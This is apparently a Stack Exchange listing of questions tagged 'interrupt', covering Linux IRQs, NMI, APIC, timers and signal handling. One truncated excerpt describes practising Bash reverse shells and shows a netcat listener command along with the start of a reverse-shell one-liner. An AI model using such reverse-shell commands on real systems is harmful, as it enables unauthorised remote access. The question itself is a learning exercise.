Questions tagged [interrupt]

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Does the worst PCIe MSI interrupt latency jitter over 100us normal?

I try to figure out the values of interrupt jitter in Linux, especially in the worst cases. Two testbeds are considered, one is Raspberry Pi 4B, the other is a high-end PC with an intel i9 CPU and ...
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22 views

List ALL interrupts (currently in use or not)

I understand that /proc/interrupts contains a list of interrupts currently in use. I am just curious where I can find a list of ALL interrupts (including their names), whether they are in use or not, ...
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13 views

Is it possible to send signals to a command that was entered while another one is running

Sometimes I do make or something in foreground and, while it is executing, I type and enter stuff that I want to do afterwards, such as cd some_other_dirEntermake againEntercd -Enter. But let's say ...
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What's the difference between NMI/Diag Interrupt and OS NMI/Diag Interrupt?

I checked my BMC system event log, I got: NMI/Diag Interrupt I want to know what's the differences: https://github.com/ipmitool/ipmitool/blob/59b7d6cf8fc0ae666a0ccaf3650d6557361b7145/include/ipmitool/...
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Will local_softirq_pending event generate NMI?

Seeing some softirq pending logs: NOHZ: local_softirq_pending: TASKLET NOHZ: local_softirq_pending: SCHED and seeing some NMI interrupt in BMC SEL event. Are they related?
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88 views

Keyboard couldn't find an input interrupt endpoint

I'm trying to understand why my keyboard's interface #2 is not showing up under linux but works fine under windows. Here is the output of usb-devices T: Bus=05 Lev=02 Prnt=02 Port=02 Cnt=01 Dev#= 8 ...
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1answer
152 views

Copying text with Ctrl + C when the Zsh line editor is active

I've added some keyboard shortcuts in my Zsh to enable selecting words. In order for the selection to do something, I would like to use Ctrl + C to copy it. However I would also like to use Ctrl + C ...
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1answer
24 views

Role of Advanced Programmable Interrupt controller in system?

I am trying to understand interrupts at both the hardware and OS level. Why exactly we need an APIC controller in a system. I understood that it is doing some multiplexing and only one line is going ...
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25 views

What is the maximum idle cpu wakeup time tolerated by socket clients?

1 Summary An application process main thread is running an endless loop waiting for client requests over socket and sleeping in between. (This is comparable to an idle cpu waiting for a wake-up irq.) ...
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2answers
85 views

Why does a system call table exist and not just appended to the interrupt vector table?

Why does a system call table exist and not just appended to the interrupt vector table? I don't understand the design choice here. If it improves performance to differentiate events, why not system ...
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1answer
24 views

infinite loop VS sheduler

From assembler point of view, when we make a code that just jumps a few commands back, does not jump to any control function that sheduler might use, how can unix interrupt such a code? I assume it is ...
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Understanding kernel interrupt messages

Linux stalls randomly and unable to ping and ssh into my NXP LS1046a processor board and I dont know how to trace down the problem from the following messages. On the serial I see the following: [ ...
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369 views

Why does SIGINT not terminate a stopped process?

According to the POSIX standard regarding signals (see "Standard signals" section), both SIGKILL and SIGINT have as default action Term. However, this seems not to be the case when the ...
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1answer
42 views

How are big values stored in linux?

For example, cat /proc/interrupts. I see this value is constantly growing - 36: 10273035 IPIC 36 Level eth1_g0_rx What happens when it reaches its maximum value: that is the maximum ...
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1answer
305 views

Is it safe to restart system calls?

I was reading a textbook which describes how to deal with system call when interrupted: System calls can be interrupted. System calls such as read, wait, and accept that can potentially block the ...
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1answer
55 views

Ctrl + C Not terminating a process in Linux

I am building a custom Linux Image using Yocto Zeus (5.4 Kernel). On loading and checking the various functionalities of the Image, I am not able to exit some of the processes such as ping, tail -f in ...
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1answer
662 views

Do system calls actually "interrupt" the CPU the same way that hardware interrupts do?

I'm trying to get a deeper understanding of how system calls and hardware interrupts are implemented, and something that keeps confusing me is how they differ with respect to how they're handled. For ...
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1answer
251 views

Hardware timer , Real time clock, Jiffies in Linux context

I am trying to understand the Timer interrupts and the associated terms used in an x86_64 Linux machine. Hardware timer (External clock) is same as a Real Time Clock. The Real time clock runs even ...
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1answer
263 views

Broken my pop-OS while upgrading

I mistakenly broke my pop-OS and when I restart it then I get an error window with **Error occured which system cannot restored. Contact administrator** I already tried apt-get dist-upgrade in ...
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1answer
101 views

__report_bad_irq not getting hit

I am stucked in one issue, in which i am getting __report_bad_irq callstack inconsistently. AFAIK, whenever we have 100000 unhandled interrupts this stack kicks in. Output from cat /proc/irq/128/...
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148 views

Handling an interrupt while being on kernel [closed]

I know how interrupt handling works (switching mode, saving registers, changing stack ...). However, I am curious, what if an interrupt happens while we are still in kernel mode, and not in user mode?
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1answer
88 views

redhat 7.7 nohz_full dynamic tickless behaviour

I'm trying to set dynamic tickless behaviour on certain cores (cores 2 - 11), moving all timekeeping to the only unspecified cores (cores 0-1). However, when I perform the instructions specified in: ...
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2answers
1k views

How interrupt is queued up in linux?

In hardware and software interrupt flow how queue up is handled? more precisely I have following doubts Lets take a scenario I have a machine with 2 CPUs. CPU1 is processing process P1 and CPU2 is ...
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1answer
116 views

Is it safe to use the .bss section as a static stack?

(This is in the context of x86-64 Linux.) I am trying to write a high-reliability userland executable, and I have total control over the generated assembly. I don't want to rely on automatic stack ...
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253 views

Custom interrupt handler for the NMI hardware button

I'm trying to create a custom interrupt handler for the NMI hardware button which exists on my motherboard. To test this functionality I've created this simple module: #include <linux/init.h> #...
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35 views

Would an asynchronous interrupt context write to the page table in the Linux kernel?

Specifically, in the Linux kernel, is it possible that the page table (level3_kernel_pgt) can be overwritten when an asynchronous interrupt context happens (Local timer interrupts). I've been seeing ...
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29 views

How arbitration priority register works in Advanced Programmable Interrupt Controller (APIC)?

Could you please explain how arbitration priority register works in Advanced Programmable Interrupt Controller (APIC) and what is the term winning CPU?
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1answer
768 views

System interrupts. When is it too much?

We're testing Linux Server as a VPN router. We have a quite good server and the interrupts we're experiencing right now are ~170k, but we're expecting more. CPU usage is OK. How to know when it's too ...
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1answer
62 views

Why we have so many 0's in intr field of /proc/stat

I am looking into intr field of /proc/stat. # cat stat cpu 10438 2056 25767 10098612 2490 0 1846 0 0 0 cpu0 1768 260 4750 1681597 119 0 608 0 0 0 cpu1 1735 67 5119 1683444 342 0 280 0 0 0 cpu2 1908 ...
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409 views

Notify user-space about interrupt, sleep otherwise

As a beginner, I want to know what people think would be the best course of action for the following scenario. I have a driver that handles a rising-edge interrupt on a gpio pin. The driver also has a ...
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2answers
4k views

Linux timer interrupt

I have two questions about the Linux kernel. Specifically, does anybody know exactly, what Linux does in the timer interrupt? Is there some documentation about this? And what is affected when ...
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1answer
2k views

What is the hardware which the linux kernel uses for timer interrupt

I am reading about jiffies which will be updated for every timer interrupt. The frequency of the timer interrupt is determined by compile time constant HZ. We have lot of hardware devices present on ...
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1answer
2k views

Interrupt child processes from bash script on Ctrl+C

I'm starting two child processes from bash script and waiting both for completion using wait command: ./proc1 & pid1=$! echo "started proc1: ${pid1}" ./proc2 & pid2=$! echo "started proc2: ${...
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2answers
3k views

How does a keyboard press get processed in the Linux Kernel?

I'm currently learning about the Linux Kernel and OSes in general, and while I have found many great resources concerning IRQs, Drivers, Scheduling and other important OS concepts, as well as keyboard-...
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864 views

Manjaro/Arch: Disabling IRQ #31 on Thinkpad X1 7th

I've stumbled upon the beforementioned error during boot and have tried to resolve it by trying to find out what caused the interrupt. Sadly, lspci -v | grep 31 gives no result and a cat /proc/...
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1answer
657 views

What are the non-numeric IRQs in /proc/interrupts?

cat /proc/interrupts shows a bunch of IRQs such as NMI and LOC. The per-line comments in the output give clear explanation, but if they do not have a numeric IRQ number, how does the x86 CPU respond ...
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3answers
599 views

Dump contents of variable to file while script is running in bash

I have a lot of files in a directory: $ ls file000001 file000002 # ... truncated ... file999999 I am calculating the md5sum of the files like this and finally dumping it to a file: hashes='' for ...
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4k views

How to deduce the nature of an interrupt from its number?

I'm trying to boot/install Linux for learning purposes, using an older PC (HP Pavilion Elite m9660de). The following message is the first thing that shows up when booting (Ubuntu and Fedora, both from ...
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280 views

How fast is an IO interrupt in Linux versus bare metal? (ARM, Raspberry Pi)

I read that an interrupt in Linux (this was about a Raspberry Pi) can take a "long time" to process or let's say "start doing what the programmer wants". Is that true and how bad is it? Is there a big ...
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What mechanism is used by Linux (or hardware) to ensure that any interrupt capable device does not cause too many interrupts?

At the level of interrupts, one would think that there has to some way for a maximum rate to be defined. Otherwise, a malicious device might be able to slow down the system, by continuously giving off ...
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273 views

Redirecting all primary file descriptors using `exec` causes the shell to exit after program exists depending on which end closes the connection?

I've been practicing my Bash skills by creating reverse shells using various redirection operators. After having set up a nc listener: nc -lvp 4444 I run the following command: 0<&116-; ...
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2k views

fatal error : linux/interrupt.h : no such file or directory

I am developing code for interrupt. When I am including #include <linux/interrupt.h>, I get fatal error : linux/interrupt.h no such file or directory Why am I getting this error and how can I ...
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1answer
67 views

Writing and Executing Program to behave like console

I have written a set of programs with the intent of using a radio transmitter-receiver (NRF24L01) to connect two devices as if they were connected via a serial interface. Currently, i am able to ...
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1answer
2k views

What's the policy determining which CPU handles which interrupt in the Linux Kernel?

I've been reading Linux Kernel Development and there's something that's not entirely clear to me -- when an interrupt is triggered by the hardware, what's the criterion to decide on which CPU to run ...
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69 views

Trouble with Legacy interrupts on new CPU

A legacy (IntA) interrupt works on an old CPU under Linux, but fails under the same Linux OS with a newer CPU in that system. I'm unsure if the problem is in the BIOS or in the Linux driver, as both ...
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27k views

What is interrupted system call?

I am reading APUE and the Interrupted System Calls chapter confuses me. I would like to write down my understanding based on the book, please correct me. A characteristic of earlier UNIX systems ...
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330 views

Trying to use local APIC timer

I'm trying to use the local APIC timer to send interrupts after a certain interval (for a kernel module I am writing). This is not related to scheduling in Linux. I set the clocksource in Linux to ...
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1answer
1k views

How does Linux Kernel switches from kernel stack to interrupt stack?

What happens when a user mode task is interrupted ? I know for a fact that the CPU switches to the kernel mode stack by refring the TSS. But when and how does the kernel switches to the IRQ stack?
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1k views

About IRQF_DISABLED flags

I'm reading about a tutorial on request_irq, I'm new to this topic so I need some idea checking: When set, this flag instructs the kernel to disable all interrupts when executing this interrupt ...
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1answer
152 views

Resource locking in interrupts

I have a kernel module with netfilter hooks at different points in the packet route, and the hooks use shared resources. In addition, the module has a char device that may be written to, that also ...